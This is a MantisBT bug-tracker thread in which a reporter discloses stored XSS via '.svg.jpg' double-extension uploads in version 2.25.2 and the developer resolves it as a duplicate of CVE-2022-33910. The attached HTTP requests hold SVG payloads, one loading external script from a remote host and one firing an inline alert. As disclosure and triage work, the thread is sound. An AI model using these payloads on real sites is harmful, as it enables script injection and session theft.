View Issue Details

IDProjectCategoryView StatusLast Update
0035546mantisbtsecuritypublic2025-03-13 05:01
Reporterremjo Assigned Todregad  
PrioritynormalSeverityminorReproducibilityalways
Status resolvedResolutionduplicate 
Product Version2.25.2 
Summary0035546: XSS via File Upload (Double Extension Bypass)
Description

During a security assessment of MantisBT version 2.25.2, it was found that the web application allows users to upload files with certain extensions, specifically: bmp, gif, jpg, png, txt, and zip. Once uploaded, these files can be downloaded from the bug viewer (view.php) as individual files.

However, it was discovered that the application allows for the upload of files with a "double extension". In particular, a file with the extension ".svg.jpg" was successfully uploaded. The
content of this file was an SVG (Scalable Vector Graphics) image that contains XML code, which attempts to execute JavaScript via an external URL.

The key issue here is that the application does not perform proper validation of the Content-Type of the uploaded file. In this case, the file's Content-Type was "image/svg+xml," which was accepted by the application, even though this Content-Type should typically be blocked for files that may contain executable code (such as SVG with JavaScript).

Despite the file being uploaded successfully, the XSS attack was not executed because the application has a strict Content Security Policy (CSP) in place, which prevented the execution
of external scripts. However, this vulnerability could be exploited in environments where CSP is not configured or is more permissive.

Ensure that file uploads are validated both by extension and by file content, including MIME type and file structure, to prevent the uploading of malicious files.

Steps To Reproduce
  1. Start Burpsuite, upload a file and intercept the request
  2. Copy the payload from the attachment HTTP snippet and inspect the file's content. It should
    contain XML-based SVG code, including JavaScript that calls an external URL.
  3. Check the Content-Type in the request; change it to "image/svg+xml".
  4. Download the file from the bug viewer (view.php) and verify that it opens in the web browser
    and not as a separate file download.
  5. If there is no pop-up, check the web console for more information, for example, the CSP
    that blocked the XSS.
Additional Information

At the time of testing, I could not find any existing CVE related to bypassing file extension validation in MantisBT. This may be an unreported vulnerability in the current or other versions.

Credits:
Name: Rémy Cervenka
E-mail: remy@recoil.nl

TagsNo tags attached.
Attached Files
request.txt (2,125 bytes)   
POST /mantis-dev/bugnote_add.php HTTP/1.1
Host: grotaap10253.ota.duo.nl
Cookie: MANTIS_collapse_settings=|attachment_preview_457:0; MANTIS_secure_session=0; MANTIS_BUG_LIST_COOKIE=13408%2C13407%2C13406%2C13405%2C13404%2C13403%2C13402%2C13401%2C13400%2C13399%2C5790%2C5789%2C5788%2C5768%2C5755%2C5749%2C5758%2C5757%2C5751%2C5754; PHPSESSID=3eq9l0v6j7mtqeaitcv4vcahd7; MANTIS_STRING_COOKIE=L6K-KLKAcg0F8DlCNV5L3NoilLZ_9o0fHtePzSnESEb4R2yTwN-BxmjD1qhyUCSW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------42722667920545302042028076329
Content-Length: 1058
Origin: https://grotaap10253.ota.duo.nl
Referer: https://grotaap10253.ota.duo.nl/mantis-dev/view.php?id=13409
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

-----------------------------42722667920545302042028076329
Content-Disposition: form-data; name="bugnote_add_token"

20250306onGMTmqLEd8hz5R2LzbUe5y7RD5bDkmV
-----------------------------42722667920545302042028076329
Content-Disposition: form-data; name="bug_id"

13409
-----------------------------42722667920545302042028076329
Content-Disposition: form-data; name="bugnote_text"


-----------------------------42722667920545302042028076329
Content-Disposition: form-data; name="max_file_size"

2000000
-----------------------------42722667920545302042028076329
Content-Disposition: form-data; name="ufile[0]"; filename="aaasajhaseezxaa.svg.jpg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <script xlink:href="https://recoil.nl/payload.js"></script>
</svg>

-----------------------------42722667920545302042028076329--
request.txt (2,125 bytes)   
screenshot-file-execution.png (78,204 bytes)   
screenshot-file-execution.png (78,204 bytes)   
enabled-file-extensions.png (8,711 bytes)   
enabled-file-extensions.png (8,711 bytes)   

Relationships

duplicate of 0029135 closeddregad CVE-2022-33910: Unrestricted SVG File Upload leads to CSS Injection 
related to 0030384 closeddregad CVE-2022-33910: Stored XSS via SVG file upload 

Activities

dregad

dregad

2025-03-07 03:17

developer   ~0069953

Thanks for the detailed bug report. I'll have a closer look as soon as possible.

dregad

dregad

2025-03-09 14:30

developer   ~0069974

Hello,

I tried to reproduce this using the provided instructions, but while I'm able to upload the fake JPG SVG file, and while I can see in the bug_file table that it has a mime type of image/svg+xml, I was not able to have the script executed, despite having disabled CSP. No output in the browser's console either.

Am I missing something ?

image.png (51,806 bytes)   
image.png (51,806 bytes)   
image-2.png (19,455 bytes)   
image-2.png (19,455 bytes)   
remjo

remjo

2025-03-10 18:18

reporter   ~0069979

Last edited: 2025-03-10 18:22

Hi, thanks for trying to reproduce this issue.

Is the file being downloaded or is it rendered in the web browser?

I have included another SVG to try. You can put this into a svg file and execute it into your web browser to see if your web browser is blocking the script. I used the Firefox web browser to check this.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('This app is probably vulnerable to XSS attacks!');
   </script>
</svg>
dregad

dregad

2025-03-10 20:19

developer   ~0069980

Thanks for the new SVG, but I don't think the problem is with the image file itself, but I rather me misunderstanding the reproducing steps...

  • If I open the file in the browser directly, I do get the pop-up alert and then see the green triangle (tested with Safari & Chrome on macOS - I can try tomorrow at work on Windows/Firefox)
  • Uploading xss.svg fails
  • Uploading xss.svg.jpg is successful, and as mentioned before it is stored in the DB with mime type image/svg+xml (which I guess is the root cause of the problem you reported)
  • Displaying the issue is rendering the image inline (see screenshot), but the script is not executed and there is nothing in the browser's console
image-3.png (37,236 bytes)   
image-3.png (37,236 bytes)   
remjo

remjo

2025-03-11 12:24

reporter   ~0069984

test.svg.jpg (421 bytes)   
test.svg.jpg (421 bytes)   
remjo

remjo

2025-03-11 12:42

reporter   ~0069986

Hi, I have disabled CSP on the system and tested again with the following request:

POST /mantis-dev/bugnote_add.php HTTP/1.1
Host: grotaap10253.ota.duo.nl
Cookie: PHPSESSID=a0urofhh9t8q5katqt8j9f5fbb; MANTIS_secure_session=1; MANTIS_STRING_COOKIE=L6K-KLKAcg0F8DlCNV5L3NoilLZ_9o0fHtePzSnESEb4R2yTwN-BxmjD1qhyUCSW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------297316024025962881292697814702
Content-Length: 1180
Origin: https://grotaap10253.ota.duo.nl
Referer: https://grotaap10253.ota.duo.nl/mantis-dev/view.php?id=13409
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

-----------------------------297316024025962881292697814702
Content-Disposition: form-data; name="bugnote_add_token"

20250311vgz7luQB18pcKDcd00LgvAHxVgR5EdfX
-----------------------------297316024025962881292697814702
Content-Disposition: form-data; name="bug_id"

13409
-----------------------------297316024025962881292697814702
Content-Disposition: form-data; name="bugnote_text"

-----------------------------297316024025962881292697814702
Content-Disposition: form-data; name="max_file_size"

2000000
-----------------------------297316024025962881292697814702
Content-Disposition: form-data; name="ufile[0]"; filename="ajhkergjerk.svg.jpg"
Content-Type: image/jpeg

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('This app is probably vulnerable to XSS attacks!');
   </script>
</svg>
-----------------------------297316024025962881292697814702--

I noticed that Content-Type: image/jpeg also works, if the file is clicked it opens inline as described in the following parameter:

$t_mime_force_inline = array(
    'application/pdf',
    'image/bmp',
    'image/gif',
    'image/jpeg',
    'image/png',
    'image/tiff',
);

On my older mantis version it still includes the 'image/svg+xml' content type inline.

If the file doesn't display inline when clicked, the inline config is probably different, or already fixed in a different manner.

xss-execution.png (22,358 bytes)   
xss-execution.png (22,358 bytes)   
dregad

dregad

2025-03-12 10:15

developer   ~0069987

On my older mantis version it still includes the 'image/svg+xml' content type inline.

Ah, maybe that's it - I only now realize that you were on 2.25.2... There's quite a few known vulnerabilities in this 4-year-old release which have been fixed in newer versions (check out the change log for details). Any particular reason for not upgrading ?

Did you look at 0029135 and 0030384 (CVE-2022-33910) ? It sounds like your problem is the same... If so please note that the issue was fixed in 2.25.5.

I strongly recommend that you upgrade to 2.27.1.

remjo

remjo

2025-03-12 17:04

reporter   ~0069988

We're planning on upgrading, but it will take some time, as we have added many custom modifications.

Thanks for linking me 0029135 and 0030384, I haven't seen those before.

I installed a brand new system with a newer version of Mantis on it, and can confirm it doesn't work in the newer version.

This bug can be closed, thanks again.

dregad

dregad

2025-03-13 05:01

developer   ~0069990

Thanks for the feedback. As discussed I'm resolving this as duplicate of 0029135.